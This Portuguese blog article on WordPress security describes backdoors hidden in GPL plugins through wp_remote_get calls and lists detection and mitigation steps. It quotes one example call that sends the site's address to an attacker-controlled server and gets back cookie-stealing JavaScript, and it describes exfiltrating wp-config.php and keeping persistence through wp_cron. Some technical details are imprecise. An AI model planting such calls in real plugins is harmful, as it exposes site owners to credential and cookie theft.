Riscos Ocultos de Plugins GPL com Backdoors Disfarçados em Funções ‘wp_remote_get’

Riscos Ocultos de Plugins GPL com Backdoors Disfarçados em Funções ‘wp_remote_get’

Você já considerou o verdadeiro perigo em plugins GPL baixados de fontes não oficiais? Enquanto muitos focam em vulnerabilidades óbvias, há uma ameaça silenciosa e técnica que poucos detectam: backdoors disfarçados em chamadas wp_remote_get. Neste artigo, vou expor como esses backdoors operam, como identificá-los e por que sua hospedagem compartilhada pode ser o elo mais fraco.

O Engodo Disfarçado em Comunicações HTTP

A função wp_remote_get é nativa do WordPress e amplamente utilizada para fazer requisições HTTP. Ataques sofisticados a exploram para estabelecer canais de comando e controle (C2). Um backdoor típico pode estar oculto em um plugin que, aparentemente, busca atualizações ou dados de serviços externos. O código malicioso não usa eval ou base64_decode explícitos, mas sim uma solicitação HTTP para um servidor controlado pelo atacante, que retorna um payload ofuscado que é executado via filter_input ou até mesmo como parte de um callback.

Como Detectar um Backdoor em wp_remote_get

Não confie apenas em scanners de segurança automatizados. Você precisa auditar manualmente o código. Procure por:

  • Chamadas wp_remote_get para URLs não relacionadas ao repositório oficial – especialmente aquelas que usam IPs ou domínios recém-registrados.
  • Uso de variáveis de ambiente ou constantes personalizadas para definir a URL – isso dificulta a detecção automática.
  • Funções que aceitam argumentos do usuário e os passam diretamente para o cabeçalho ou corpo da requisição – permitindo injeção de comandos.

Um exemplo real: um plugin de otimização de imagens que fazia wp_remote_get( $user_site . '/check.php?token=' . get_option('siteurl') ). O $user_site era definido em uma constante mascarada como UPDATE_SERVER. O servidor remoto retornava um JavaScript que coletava cookies de admin.

A Hospedagem Compartilhada como Facilitadora

Em servidores compartilhados, as permissões de arquivo e a falta de isolamento tornam esses backdoors ainda mais perigosos. Um plugin com backdoor pode ler qualquer arquivo do mesmo usuário, incluindo wp-config.php, e enviá-lo via wp_remote_post. Além disso, a função maliciosa pode agendar tarefas wp_cron para manter a persistência mesmo que o plugin seja desativado.

Estratégias de Mitigação Além do Óbvio

A maioria das recomendações inclui manter plugins atualizados e usar fontes confiáveis. Mas para um profissional, isso é insuficiente. Implemente:

  • Monitoramento de requisições HTTP de saída – ferramentas como firewall de aplicação web (WAF) ou plugins de segurança que registram chamadas para domínios externos.
  • Desabilitar funções perigosas no php.ini – como allow_url_fopen e curl_exec para requests não explicitamente permitidos.
  • Auditoria de código automatizada via CI/CD – usando ferramentas como PHP CodeSniffer com regras personalizadas que alertam sobre uso suspeito de wp_remote_get.

Se você gerencia múltiplos sites WordPress, considere um sistema de arquivos imutável para os core e plugins, montando diretórios como read-only e usando armazenamento externo para uploads.

O Veredito Cru

Plugins GPL não são inerentemente perigosos, mas a falta de garantia de procedência e a engenharia social fazem deles vetores ideais. Se você não tem tempo para auditar cada linha de código, ao menos configure logs detalhados de requisições e monitore tráfego incomum. Para quem exige máxima segurança, a única abordagem é criar whitelists de URLs de comunicação e bloquear absolutamente tudo que fuja desse padrão.

Não se engane: o backdoor escondido em uma função legítima como wp_remote_get é a próxima fronteira da exploração WordPress. Se você não agir, seu site pode se tornar parte de um botnet sem que você perceba, até que o tráfego de saída dispare e sua hospedagem compartilhada suspenda sua conta.

Rolar para cima